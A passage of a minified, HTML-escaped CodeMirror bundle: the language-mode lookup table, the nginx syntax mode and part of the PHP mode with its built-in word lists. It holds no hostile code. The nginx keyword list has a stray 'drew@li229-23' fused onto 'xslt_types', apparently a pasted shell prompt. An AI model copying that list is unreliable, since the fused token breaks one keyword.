template&quot;]},{name:&quot;SPARQL&quot;,mime:&quot;application/sparql-query&quot;,mode:&quot;sparql&quot;,ext:[&quot;rq&quot;,&quot;sparql&quot;],alias:[&quot;sparul&quot;]},{name:&quot;Spreadsheet&quot;,mime:&quot;text/x-spreadsheet&quot;,mode:&quot;spreadsheet&quot;,alias:[&quot;excel&quot;,&quot;formula&quot;]},{name:&quot;SQL&quot;,mime:&quot;text/x-sql&quot;,mode:&quot;sql&quot;,ext:[&quot;sql&quot;]},{name:&quot;SQLite&quot;,mime:&quot;text/x-sqlite&quot;,mode:&quot;sql&quot;},{name:&quot;Squirrel&quot;,mime:&quot;text/x-squirrel&quot;,mode:&quot;clike&quot;,ext:[&quot;nut&quot;]},{name:&quot;Stylus&quot;,mime:&quot;text/x-styl&quot;,mode:&quot;stylus&quot;,ext:[&quot;styl&quot;]},{name:&quot;Swift&quot;,mime:&quot;text/x-swift&quot;,mode:&quot;swift&quot;,ext:[&quot;swift&quot;]},{name:&quot;sTeX&quot;,mime:&quot;text/x-stex&quot;,mode:&quot;stex&quot;},{name:&quot;LaTeX&quot;,mime:&quot;text/x-latex&quot;,mode:&quot;stex&quot;,ext:[&quot;text&quot;,&quot;ltx&quot;],alias:[&quot;tex&quot;]},{name:&quot;SystemVerilog&quot;,mime:&quot;text/x-systemverilog&quot;,mode:&quot;verilog&quot;,ext:[&quot;v&quot;,&quot;sv&quot;,&quot;svh&quot;]},{name:&quot;Tcl&quot;,mime:&quot;text/x-tcl&quot;,mode:&quot;tcl&quot;,ext:[&quot;tcl&quot;]},{name:&quot;Textile&quot;,mime:&quot;text/x-textile&quot;,mode:&quot;textile&quot;,ext:[&quot;textile&quot;]},{name:&quot;TiddlyWiki &quot;,mime:&quot;text/x-tiddlywiki&quot;,mode:&quot;tiddlywiki&quot;},{name:&quot;Tiki wiki&quot;,mime:&quot;text/tiki&quot;,mode:&quot;tiki&quot;},{name:&quot;TOML&quot;,mime:&quot;text/x-toml&quot;,mode:&quot;toml&quot;,ext:[&quot;toml&quot;]},{name:&quot;Tornado&quot;,mime:&quot;text/x-tornado&quot;,mode:&quot;tornado&quot;},{name:&quot;troff&quot;,mime:&quot;text/troff&quot;,mode:&quot;troff&quot;,ext:[&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;]},{name:&quot;TTCN&quot;,mime:&quot;text/x-ttcn&quot;,mode:&quot;ttcn&quot;,ext:[&quot;ttcn&quot;,&quot;ttcn3&quot;,&quot;ttcnpp&quot;]},{name:&quot;TTCN_CFG&quot;,mime:&quot;text/x-ttcn-cfg&quot;,mode:&quot;ttcn-cfg&quot;,ext:[&quot;cfg&quot;]},{name:&quot;Turtle&quot;,mime:&quot;text/turtle&quot;,mode:&quot;turtle&quot;,ext:[&quot;ttl&quot;]},{name:&quot;TypeScript&quot;,mime:&quot;application/typescript&quot;,mode:&quot;javascript&quot;,ext:[&quot;ts&quot;],alias:[&quot;ts&quot;]},{name:&quot;TypeScript-JSX&quot;,mime:&quot;text/typescript-jsx&quot;,mode:&quot;jsx&quot;,ext:[&quot;tsx&quot;],alias:[&quot;tsx&quot;]},{name:&quot;Twig&quot;,mime:&quot;text/x-twig&quot;,mode:&quot;twig&quot;},{name:&quot;Web IDL&quot;,mime:&quot;text/x-webidl&quot;,mode:&quot;webidl&quot;,ext:[&quot;webidl&quot;]},{name:&quot;VB.NET&quot;,mime:&quot;text/x-vb&quot;,mode:&quot;vb&quot;,ext:[&quot;vb&quot;]},{name:&quot;VBScript&quot;,mime:&quot;text/vbscript&quot;,mode:&quot;vbscript&quot;,ext:[&quot;vbs&quot;]},{name:&quot;Velocity&quot;,mime:&quot;text/velocity&quot;,mode:&quot;velocity&quot;,ext:[&quot;vtl&quot;]},{name:&quot;Verilog&quot;,mime:&quot;text/x-verilog&quot;,mode:&quot;verilog&quot;,ext:[&quot;v&quot;]},{name:&quot;VHDL&quot;,mime:&quot;text/x-vhdl&quot;,mode:&quot;vhdl&quot;,ext:[&quot;vhd&quot;,&quot;vhdl&quot;]},{name:&quot;Vue.js Component&quot;,mimes:[&quot;script/x-vue&quot;,&quot;text/x-vue&quot;],mode:&quot;vue&quot;,ext:[&quot;vue&quot;]},{name:&quot;XML&quot;,mimes:[&quot;application/xml&quot;,&quot;text/xml&quot;],mode:&quot;xml&quot;,ext:[&quot;xml&quot;,&quot;xsl&quot;,&quot;xsd&quot;,&quot;svg&quot;],alias:[&quot;rss&quot;,&quot;wsdl&quot;,&quot;xsd&quot;]},{name:&quot;XQuery&quot;,mime:&quot;application/xquery&quot;,mode:&quot;xquery&quot;,ext:[&quot;xy&quot;,&quot;xquery&quot;]},{name:&quot;Yacas&quot;,mime:&quot;text/x-yacas&quot;,mode:&quot;yacas&quot;,ext:[&quot;ys&quot;]},{name:&quot;YAML&quot;,mimes:[&quot;text/x-yaml&quot;,&quot;text/yaml&quot;],mode:&quot;yaml&quot;,ext:[&quot;yaml&quot;,&quot;yml&quot;],alias:[&quot;yml&quot;]},{name:&quot;Z80&quot;,mime:&quot;text/x-z80&quot;,mode:&quot;z80&quot;,ext:[&quot;z80&quot;]},{name:&quot;mscgen&quot;,mime:&quot;text/x-mscgen&quot;,mode:&quot;mscgen&quot;,ext:[&quot;mscgen&quot;,&quot;mscin&quot;,&quot;msc&quot;]},{name:&quot;xu&quot;,mime:&quot;text/x-xu&quot;,mode:&quot;mscgen&quot;,ext:[&quot;xu&quot;]},{name:&quot;msgenny&quot;,mime:&quot;text/x-msgenny&quot;,mode:&quot;mscgen&quot;,ext:[&quot;msgenny&quot;]}];for(var b=0;b&lt;a.modeInfo.length;b++){var c=a.modeInfo[b];c.mimes&amp;&amp;(c.mime=c.mimes[0])}a.findModeByMIME=function(b){b=b.toLowerCase();for(var c=0;c&lt;a.modeInfo.length;c++){var d=a.modeInfo[c];if(d.mime==b)return d;if(d.mimes)for(var e=0;e&lt;d.mimes.length;e++)if(d.mimes[e]==b)return d}return/\+xml$/.test(b)?a.findModeByMIME(&quot;application/xml&quot;):/\+json$/.test(b)?a.findModeByMIME(&quot;application/json&quot;):void 0},a.findModeByExtension=function(b){for(var c=0;c&lt;a.modeInfo.length;c++){var d=a.modeInfo[c];if(d.ext)for(var e=0;e&lt;d.ext.length;e++)if(d.ext[e]==b)return d}},a.findModeByFileName=function(b){for(var c=0;c&lt;a.modeInfo.length;c++){var d=a.modeInfo[c];if(d.file&amp;&amp;d.file.test(b))return d}var e=b.lastIndexOf(&quot;.&quot;),f=e&gt;-1&amp;&amp;b.substring(e+1,b.length);if(f)return a.findModeByExtension(f)},a.findModeByName=function(b){b=b.toLowerCase();for(var c=0;c&lt;a.modeInfo.length;c++){var d=a.modeInfo[c];if(d.name.toLowerCase()==b)return d;if(d.alias)for(var e=0;e&lt;d.alias.length;e++)if(d.alias[e].toLowerCase()==b)return d}}})},{&quot;../lib/codemirror&quot;:59}],70:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.defineMode(&quot;nginx&quot;,function(a){function b(a){for(var b={},c=a.split(&quot; &quot;),d=0;d&lt;c.length;++d)b[c[d]]=!0;return b}function c(a,b){return h=b,a}function d(a,b){a.eatWhile(/[\w\$_]/);var d=a.current();if(i.propertyIsEnumerable(d))return&quot;keyword&quot;;if(j.propertyIsEnumerable(d))return&quot;variable-2&quot;;if(k.propertyIsEnumerable(d))return&quot;string-2&quot;;var h=a.next();return&quot;@&quot;==h?(a.eatWhile(/[\w\\\-]/),c(&quot;meta&quot;,a.current())):&quot;/&quot;==h&amp;&amp;a.eat(&quot;*&quot;)?(b.tokenize=e,e(a,b)):&quot;&lt;&quot;==h&amp;&amp;a.eat(&quot;!&quot;)?(b.tokenize=f,f(a,b)):&quot;=&quot;!=h?&quot;~&quot;!=h&amp;&amp;&quot;|&quot;!=h||!a.eat(&quot;=&quot;)?&#039;&quot;&#039;==h||&quot;&#039;&quot;==h?(b.tokenize=g(h),b.tokenize(a,b)):&quot;#&quot;==h?(a.skipToEnd(),c(&quot;comment&quot;,&quot;comment&quot;)):&quot;!&quot;==h?(a.match(/^\s*\w*/),c(&quot;keyword&quot;,&quot;important&quot;)):/\d/.test(h)?(a.eatWhile(/[\w.%]/),c(&quot;number&quot;,&quot;unit&quot;)):/[,.+&gt;*\/]/.test(h)?c(null,&quot;select-op&quot;):/[;{}:\[\]]/.test(h)?c(null,h):(a.eatWhile(/[\w\\\-]/),c(&quot;variable&quot;,&quot;variable&quot;)):c(null,&quot;compare&quot;):void c(null,&quot;compare&quot;)}function e(a,b){for(var e,f=!1;null!=(e=a.next());){if(f&amp;&amp;&quot;/&quot;==e){b.tokenize=d;break}f=&quot;*&quot;==e}return c(&quot;comment&quot;,&quot;comment&quot;)}function f(a,b){for(var e,f=0;null!=(e=a.next());){if(f&gt;=2&amp;&amp;&quot;&gt;&quot;==e){b.tokenize=d;break}f=&quot;-&quot;==e?f+1:0}return c(&quot;comment&quot;,&quot;comment&quot;)}function g(a){return function(b,e){for(var f,g=!1;null!=(f=b.next())&amp;&amp;(f!=a||g);)g=!g&amp;&amp;&quot;\\&quot;==f;return g||(e.tokenize=d),c(&quot;string&quot;,&quot;string&quot;)}}var h,i=b(&quot;break return rewrite set accept_mutex accept_mutex_delay access_log add_after_body add_before_body add_header addition_types aio alias allow ancient_browser ancient_browser_value auth_basic auth_basic_user_file auth_http auth_http_header auth_http_timeout autoindex autoindex_exact_size autoindex_localtime charset charset_types client_body_buffer_size client_body_in_file_only client_body_in_single_buffer client_body_temp_path client_body_timeout client_header_buffer_size client_header_timeout client_max_body_size connection_pool_size create_full_put_path daemon dav_access dav_methods debug_connection debug_points default_type degradation degrade deny devpoll_changes devpoll_events directio directio_alignment empty_gif env epoll_events error_log eventport_events expires fastcgi_bind fastcgi_buffer_size fastcgi_buffers fastcgi_busy_buffers_size fastcgi_cache fastcgi_cache_key fastcgi_cache_methods fastcgi_cache_min_uses fastcgi_cache_path fastcgi_cache_use_stale fastcgi_cache_valid fastcgi_catch_stderr fastcgi_connect_timeout fastcgi_hide_header fastcgi_ignore_client_abort fastcgi_ignore_headers fastcgi_index fastcgi_intercept_errors fastcgi_max_temp_file_size fastcgi_next_upstream fastcgi_param fastcgi_pass_header fastcgi_pass_request_body fastcgi_pass_request_headers fastcgi_read_timeout fastcgi_send_lowat fastcgi_send_timeout fastcgi_split_path_info fastcgi_store fastcgi_store_access fastcgi_temp_file_write_size fastcgi_temp_path fastcgi_upstream_fail_timeout fastcgi_upstream_max_fails flv geoip_city geoip_country google_perftools_profiles gzip gzip_buffers gzip_comp_level gzip_disable gzip_hash gzip_http_version gzip_min_length gzip_no_buffer gzip_proxied gzip_static gzip_types gzip_vary gzip_window if_modified_since ignore_invalid_headers image_filter image_filter_buffer image_filter_jpeg_quality image_filter_transparency imap_auth imap_capabilities imap_client_buffer index ip_hash keepalive_requests keepalive_timeout kqueue_changes kqueue_events large_client_header_buffers limit_conn limit_conn_log_level limit_rate limit_rate_after limit_req limit_req_log_level limit_req_zone limit_zone lingering_time lingering_timeout lock_file log_format log_not_found log_subrequest map_hash_bucket_size map_hash_max_size master_process memcached_bind memcached_buffer_size memcached_connect_timeout memcached_next_upstream memcached_read_timeout memcached_send_timeout memcached_upstream_fail_timeout memcached_upstream_max_fails merge_slashes min_delete_depth modern_browser modern_browser_value msie_padding msie_refresh multi_accept open_file_cache open_file_cache_errors open_file_cache_events open_file_cache_min_uses open_file_cache_valid open_log_file_cache output_buffers override_charset perl perl_modules perl_require perl_set pid pop3_auth pop3_capabilities port_in_redirect postpone_gzipping postpone_output protocol proxy proxy_bind proxy_buffer proxy_buffer_size proxy_buffering proxy_buffers proxy_busy_buffers_size proxy_cache proxy_cache_key proxy_cache_methods proxy_cache_min_uses proxy_cache_path proxy_cache_use_stale proxy_cache_valid proxy_connect_timeout proxy_headers_hash_bucket_size proxy_headers_hash_max_size proxy_hide_header proxy_ignore_client_abort proxy_ignore_headers proxy_intercept_errors proxy_max_temp_file_size proxy_method proxy_next_upstream proxy_pass_error_message proxy_pass_header proxy_pass_request_body proxy_pass_request_headers proxy_read_timeout proxy_redirect proxy_send_lowat proxy_send_timeout proxy_set_body proxy_set_header proxy_ssl_session_reuse proxy_store proxy_store_access proxy_temp_file_write_size proxy_temp_path proxy_timeout proxy_upstream_fail_timeout proxy_upstream_max_fails random_index read_ahead real_ip_header recursive_error_pages request_pool_size reset_timedout_connection resolver resolver_timeout rewrite_log rtsig_overflow_events rtsig_overflow_test rtsig_overflow_threshold rtsig_signo satisfy secure_link_secret send_lowat send_timeout sendfile sendfile_max_chunk server_name_in_redirect server_names_hash_bucket_size server_names_hash_max_size server_tokens set_real_ip_from smtp_auth smtp_capabilities smtp_client_buffer smtp_greeting_delay so_keepalive source_charset ssi ssi_ignore_recycled_buffers ssi_min_file_chunk ssi_silent_errors ssi_types ssi_value_length ssl ssl_certificate ssl_certificate_key ssl_ciphers ssl_client_certificate ssl_crl ssl_dhparam ssl_engine ssl_prefer_server_ciphers ssl_protocols ssl_session_cache ssl_session_timeout ssl_verify_client ssl_verify_depth starttls stub_status sub_filter sub_filter_once sub_filter_types tcp_nodelay tcp_nopush thread_stack_size timeout timer_resolution types_hash_bucket_size types_hash_max_size underscores_in_headers uninitialized_variable_warn use user userid userid_domain userid_expires userid_mark userid_name userid_p3p userid_path userid_service valid_referers variables_hash_bucket_size variables_hash_max_size worker_connections worker_cpu_affinity worker_priority worker_processes worker_rlimit_core worker_rlimit_nofile worker_rlimit_sigpending worker_threads working_directory xclient xml_entities xslt_stylesheet xslt_typesdrew@li229-23&quot;),j=b(&quot;http mail events server types location upstream charset_map limit_except if geo map&quot;),k=b(&quot;include root server server_name listen internal proxy_pass memcached_pass fastcgi_pass try_files&quot;),l=a.indentUnit;return{startState:function(a){return{tokenize:d,baseIndent:a||0,stack:[]}},token:function(a,b){if(a.eatSpace())return null;h=null;var c=b.tokenize(a,b),d=b.stack[b.stack.length-1];return&quot;hash&quot;==h&amp;&amp;&quot;rule&quot;==d?c=&quot;atom&quot;:&quot;variable&quot;==c&amp;&amp;(&quot;rule&quot;==d?c=&quot;number&quot;:d&amp;&amp;&quot;@media{&quot;!=d||(c=&quot;tag&quot;)),&quot;rule&quot;==d&amp;&amp;/^[\{\};]$/.test(h)&amp;&amp;b.stack.pop(),&quot;{&quot;==h?&quot;@media&quot;==d?b.stack[b.stack.length-1]=&quot;@media{&quot;:b.stack.push(&quot;{&quot;):&quot;}&quot;==h?b.stack.pop():&quot;@media&quot;==h?b.stack.push(&quot;@media&quot;):&quot;{&quot;==d&amp;&amp;&quot;comment&quot;!=h&amp;&amp;b.stack.push(&quot;rule&quot;),c},indent:function(a,b){var c=a.stack.length;return/^\}/.test(b)&amp;&amp;(c-=&quot;rule&quot;==a.stack[a.stack.length-1]?2:1),a.baseIndent+c*l},electricChars:&quot;}&quot;}}),a.defineMIME(&quot;text/x-nginx-conf&quot;,&quot;nginx&quot;)})},{&quot;../../lib/codemirror&quot;:59}],71:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../htmlmixed/htmlmixed&quot;),a(&quot;../clike/clike&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../htmlmixed/htmlmixed&quot;,&quot;../clike/clike&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){for(var b={},c=a.split(&quot; &quot;),d=0;d&lt;c.length;++d)b[c[d]]=!0;return b}function c(a,b,e){return 0==a.length?d(b):function(f,g){for(var h=a[0],i=0;i&lt;h.length;i++)if(f.match(h[i][0]))return g.tokenize=c(a.slice(1),b),h[i][1];return g.tokenize=d(b,e),&quot;string&quot;}}function d(a,b){return function(c,d){return e(c,d,a,b)}}function e(a,b,d,e){if(e!==!1&amp;&amp;a.match(&quot;${&quot;,!1)||a.match(&quot;{$&quot;,!1))return b.tokenize=null,&quot;string&quot;;if(e!==!1&amp;&amp;a.match(/^\$[a-zA-Z_][a-zA-Z0-9_]*/))return a.match(&quot;[&quot;,!1)&amp;&amp;(b.tokenize=c([[[&quot;[&quot;,null]],[[/\d[\w\.]*/,&quot;number&quot;],[/\$[a-zA-Z_][a-zA-Z0-9_]*/,&quot;variable-2&quot;],[/[\w\$]+/,&quot;variable&quot;]],[[&quot;]&quot;,null]]],d,e)),a.match(/\-\&gt;\w/,!1)&amp;&amp;(b.tokenize=c([[[&quot;-&gt;&quot;,null]],[[/[\w]+/,&quot;variable&quot;]]],d,e)),&quot;variable-2&quot;;for(var f=!1;!a.eol()&amp;&amp;(f||e===!1||!a.match(&quot;{$&quot;,!1)&amp;&amp;!a.match(/^(\$[a-zA-Z_][a-zA-Z0-9_]*|\$\{)/,!1));){if(!f&amp;&amp;a.match(d)){b.tokenize=null,b.tokStack.pop(),b.tokStack.pop();break}f=&quot;\\&quot;==a.next()&amp;&amp;!f}return&quot;string&quot;}var f=&quot;abstract and array as break case catch class clone const continue declare default do else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach function global goto if implements interface instanceof namespace new or private protected public static switch throw trait try use var while xor die echo empty exit eval include include_once isset list require require_once return print unset __halt_compiler self static parent yield insteadof finally&quot;,g=&quot;true false null TRUE FALSE NULL __CLASS__ __DIR__ __FILE__ __LINE__ __METHOD__ __FUNCTION__ __NAMESPACE__ __TRAIT__&quot;,h=&quot;func_num_args func_get_arg func_get_args strlen strcmp strncmp strcasecmp strncasecmp each error_reporting define defined trigger_error user_error set_error_handler restore_error_handler get_declared_classes get_loaded_extensions extension_loaded get_extension_funcs debug_backtrace constant bin2hex hex2bin sleep usleep time mktime gmmktime strftime gmstrftime strtotime date gmdate getdate localtime checkdate flush wordwrap htmlspecialchars htmlentities html_entity_decode md5 md5_file crc32 getimagesize image_type_to_mime_type phpinfo phpversion phpcredits strnatcmp strnatcasecmp substr_count strspn strcspn strtok strtoupper strtolower strpos strrpos strrev hebrev hebrevc nl2br basename dirname pathinfo stripslashes stripcslashes strstr stristr strrchr str_shuffle str_word_count strcoll substr substr_replace quotemeta ucfirst ucwords strtr addslashes addcslashes rtrim str_replace str_repeat count_chars chunk_split trim ltrim strip_tags similar_text explode implode setlocale localeconv parse_str str_pad chop strchr sprintf printf vprintf vsprintf sscanf fscanf parse_url urlencode urldecode rawurlencode rawurldecode readlink linkinfo link unlink exec system escapeshellcmd escapeshellarg passthru shell_exec proc_open proc_close rand srand getrandmax mt_rand mt_srand mt_getrandmax base64_decode base64_encode abs ceil floor round is_finite is_nan is_infinite bindec hexdec octdec decbin decoct dechex base_convert number_format fmod ip2long long2ip getenv putenv getopt microtime gettimeofday getrusage uniqid quoted_printable_decode set_time_limit get_cfg_var magic_quotes_runtime set_magic_quotes_runtime get_magic_quotes_gpc get_magic_quotes_runtime import_request_variables error_log serialize unserialize memory_get_usage var_dump var_export debug_zval_dump print_r highlight_file show_source highlight_string ini_get ini_get_all ini_set ini_alter ini_restore get_include_path set_include_path restore_include_path setcookie header headers_sent connection_aborted connection_status ignore_user_abort parse_ini_file is_uploaded_file move_uploaded_file intval floatval doubleval strval gettype settype is_null is_resource is_bool is_long is_float is_int is_integer is_double is_real is_numeric is_string is_array is_object is_scalar ereg ereg_replace eregi eregi_replace split spliti join sql_regcase dl pclose popen readfile rewind rmdir umask fclose feof fgetc fgets fgetss fread fopen fpassthru ftruncate fstat fseek ftell fflush fwrite fputs mkdir rename copy tempnam tmpfile file file_get_contents file_put_contents stream_select stream_context_create stream_context_set_params stream_context_set_option stream_context_get_options stream_filter_prepend stream_filter_append fgetcsv flock get_meta_tags stream_set_write_buffer set_file_buffer set_socket_blocking stream_set_blocking socket_set_blocking stream_get_meta_data stream_register_wrapper stream_wrapper_register stream_set_timeout socket_set_timeout socket_get_status realpath fnmatch fsockopen pfsockopen pack unpack get_browser crypt opendir closedir chdir getcwd rewinddir readdir dir glob fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype file_exists is_writable is_writeable is_readable is_executable is_file is_dir is_link stat lstat chown touch clearstatcache mail ob_start ob_flush ob_clean ob_end_flush ob_end_clean ob_get_flush ob_get_clean ob_get_length ob_get_level ob_get_status ob_get_contents ob_implicit_flush ob_list_handlers ksort krsort natsort natcasesort asort arsort sort rsort usort uasort uksort shuffle array_walk count end prev next reset current key min max in_array array_search extract compact array_fill range array_multisort array_push array_pop array_shift array_unshift array_splice array_slice array_merge array_merge_recursive array_keys array_values array_count_values array_reverse array_reduce array_pad array_flip array_change_key_case array_rand array_unique array_intersect array_intersect_assoc array_diff array_diff_assoc array_sum array_filter array_map array_chunk array_key_exists array_intersect_key array_combine array_column pos sizeof key_exists assert assert_options version_compare ftok str_rot13 aggregate session_name session_module_name session_save_path session_id session_regenerate_id session_decode session_register session_unregister session_is_registered session_encode session_start session_destroy session_unset session_set_save_handler session_cache_limiter session_cache_expire session_set_cookie_params session_get_cookie_params session_write_close preg_match preg_match_all preg_replace preg_replace_callback preg_split preg_quote preg_grep overload ctype_alnum ctype_alpha ctype_cntrl ctype_digit ctype_lower ctype_graph ctype_print ctype_punct ctype_space ctype_upper ctype_xdigit virtual apache_request_headers apache_note apache_lookup_uri apache_child_terminate apache_setenv apache_response_headers apache_get_version getallheaders mysql_connect mysql_pconnect mysql_close mysql_select_db mysql_create_db mysql_drop_db mysql_query mysql_unbuffered_query mysql_db_query mysql_list_dbs mysql_list_tables mysql_list_fields mysql_list_processes mysql_error mysql_errno mysql_affected_rows mysql_insert_id mysql_result mysql_num_rows mysql_num_fields mysql_fetch_row mysql_fetch_array mysql_fetch_assoc mysql_fetch_object mysql_data_seek mysql_fetch_lengths mysql_fetch_field mysql_field_seek mysql_free_result mysql_field_name mysql_field_table mysql_field_len mysql_field_type mysql_field_flags mysql_escape_string mysql_real_escape_string mysql_stat mysql_thread_id mysql_client_encoding mysql_get_client_info mysql_get_host_info mysql_get_proto_info mysql_get_server_info mysql_info mysql mysql_fieldname mysql_fieldtable mysql_fieldlen mysql_fieldtype mysql_fieldflags mysql_selectdb mysql_createdb mysql_dropdb mysql_freeresult mysql_numfields mysql_numrows mysql_listdbs mysql_listtables mysql_listfields mysql_db_name mysql_dbname mysql_tablename mysql_table_name pg_connect pg_pconnect pg_close pg_connection_status pg_connection_busy pg_connection_reset pg_host pg_dbname pg_port pg_tty pg_options pg_ping pg_query pg_send_query pg_cancel_query pg_fetch_result pg_fetch_row pg_fetch_assoc pg_fetch_array pg_fetch_object pg_fetch_all pg_affected_rows pg_get_result pg_result_seek pg_result_status pg_free_result pg_last_oid pg_num_rows pg_num_fields pg_field_name pg_field_num pg_field_size pg_field_type pg_field_prtlen pg_field_is_null pg_get_notify pg_get_pid pg_result_error pg_last_error pg_last_notice pg_put_line pg_end_copy pg_copy_to pg_copy_from pg_trace pg_untrace pg_lo_create pg_lo_unlink pg_lo_open pg_lo_close pg_lo_read pg_lo_write pg_lo_read_all pg_lo_import pg_lo_export pg_lo_seek pg_lo_tell pg_escape_string pg_escape_bytea pg_unescape_bytea pg_client_encoding pg_set_client_encoding pg_meta_data pg_convert pg_insert pg_update pg_delete pg_select pg_exec pg_getlastoid pg_cmdtuples pg_errormessage pg_numrows pg_numfields pg_fieldname pg_fieldsize pg_fieldtype pg_fieldnum pg_fieldprtlen pg_fieldisnull pg_freeresult pg_result pg_loreadall pg_locreate pg_lounlink pg_loopen pg_loclose pg_loread pg_lowrite pg_loimport pg_loexport http_response_code get_declared_traits getimagesizefromstring socket_import_stream stream_set_chunk_size trait_exists header_register_callback class_uses session_status session_register_shutdown echo print global static exit array empty eval isset unset die include require include_once require_once json_decode json_encode json_last_error json_last_error_msg curl_close curl_copy_handle curl_errno curl_error curl_escape curl_exec curl_file_create curl_getinfo curl_init curl_multi_add_handle curl_multi_close curl_multi_exec curl_multi_getcontent curl_multi_info_read curl_multi_init curl_multi_remove_handle curl_multi_select curl_multi_setopt curl_multi_strerror curl_pause curl_reset curl_setopt_array curl_setopt curl_share_close curl_share_init curl_share_setopt curl_strerror curl_unescape curl_version mysqli_affected_rows mysqli_autocommit mysqli_change_user mysqli_character_set_name mysqli_close mysqli_commit mysqli_connect_errno mysqli_connect_error mysqli_connect mysqli_data_seek mysqli_debug mysqli_dump_debug_info mysqli_errno mysqli_error_list mysqli_error mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc mysqli_fetch_field_direct mysqli_fetch_field mysqli_fetch_fields mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version mysqli_info mysqli_init mysqli_insert_id mysqli_kill mysqli_more_results mysqli_multi_query mysqli_next_result mysqli_num_fields mysqli_num_rows mysqli_options mysqli_ping mysqli_prepare mysqli_query mysqli_real_connect mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query mysqli_refresh mysqli_rollback mysqli_select_db mysqli_set_charset mysqli_set_local_infile_default mysqli_set_local_infile_handler mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_init mysqli_store_result mysqli_thread_id mysqli_thread_safe mysqli_use_result mysqli_warning_count&quot;;
a.registerHelper(&quot;hintWords&quot;,&quot;php&quot;,[f,g,h].join(&quot; &quot;).split(&quot; &quot;)),a.registerHelper(&quot;wordChars&quot;,&quot;php&quot;,/[\w$]/);var i={name:&quot;clike&quot;,helperType:&quot;php&quot;,keywords:b(f),blockKeywords:b(&quot;catch do else elseif for foreach if switch try while finally&quot;),defKeywords:b(&quot;class function interface namespace trait&quot;),atoms:b(g),builtin:b(h),multiLineStrings:!0,hooks:{$:function(a){return a.eatWhile(/[\w\$_]/),&quot;variable-2&quot;},&quot;&lt;&quot;:function(a,b){var c;if(c=a.match(/&lt;&lt;\s*/)){var e=a.eat(/[&#039;&quot;]/);a.eatWhile(/[\w\.]/);var f=a.current().slice(c[0].length+(e?2:1));if(e&amp;&amp;a.eat(e),f)return(b.tokStack||(b.tokStack=[])).push(f,0),b.tokenize=d(f,&quot;&#039;&quot;!=e),&quot;string&quot;}return!1},&quot;#&quot;:function(a){for(;!a.eol()&amp;&amp;!a.match(&quot;?&gt;&quot;,!1);)a.next();return&quot;comment&quot;},&quot;/&quot;:function(a){if(a.eat(&quot;/&quot;)){for(;!a.eol()&amp;&amp;!a.match(&quot;?&gt;&quot;,!1);)a.next();return&quot;comment&quot;}return!1},&#039;&quot;&#039;:function(a,b){return(b.tokStack||(b.tokStack=[])).push(&#039;&quot;&#039;,0),b.tokenize=d(&#039;&quot;&#039;),&quot;string&quot;},&quot;{&quot;:function(a,b){return b.tokStack&amp;&amp;b.tokStack.length&amp;&amp;b.tokStack[b.tokStack.length-1]++,!1},&quot;}&quot;:function(a,b){return b.tokStack&amp;&amp;b.tokStack.length&gt;0&amp;&amp;!--b.tokStack[b.tokStack.length-1]&amp;&amp;(b.tokenize=d(b.tokStack[b.tokStack.length-2])),!1}}};a.defineMode(&quot;php&quot;,function(b,c){function d(b,c){var d=c.curMode==f;if(b.sol()&amp;&amp;c.pending&amp;&amp;&#039;&quot;&#039;!=c.pending&amp;&amp;&quot;&#039;&quot;!=c.pending&amp;&amp;(c.pending=null),d)return d&amp;&amp;null==c.php.tokenize&amp;&amp;b.match(&quot;?&gt;&quot;)?(c.curMode=e,c.curState=c.html,c.php.context.prev||(c.php=null),&quot;meta&quot;):f.token(b,c.curState);if(b.match(/^&lt;\?\w*/))return c.curMode=f,c.php||(c.php=a.startState(f,e.indent(c.html,&quot;&quot;))),c.curState=c.php,&quot;meta&quot;;if(&#039;&quot;&#039;==c.pending||&quot;&#039;&quot;==c.pending){for(;!b.eol()&amp;&amp;b.next()!=c.pending;);var g=&quot;string&quot;}else if(c.pending&amp;&amp;b.pos&lt;c.pending.end){b.pos=c.pending.end;var g=c.pending.style}else var g=e.token(b,c.curState);c.pending&amp;&amp;(c.pending=null);var h,i=b.current(),j=i.search(/&lt;\?/);return j!=-1&amp;&amp;(&quot;string&quot;==g&amp;&amp;(h=i.match(/[\&#039;\&quot;]$/))&amp;&amp;!/\?&gt;/.test(i)?c.pending=h[0]:c.pending={end:b.pos,style:g},b.backUp(i.length-j)),g}var e=a.getMode(b,&quot;text/html&quot;),f=a.getMode(b,i);return{startState:function(){var b=a.startState(e),d=c.startOpen?a.startState(f):null;return{html:b,php:d,curMode:c.startOpen?f:e,curState:c.startOpen?d:b,pending:null}},copyState:function(b){var c,d=b.html,g=a.copyState(e,d),h=b.php,i=h&amp;&amp;a.copyState(f,h);return c=b.curMode==e?g:i,{html:g,php:i,curMode:b.curMode,curState:c,pending:b.pending}},token:d,indent:function(a,b){return 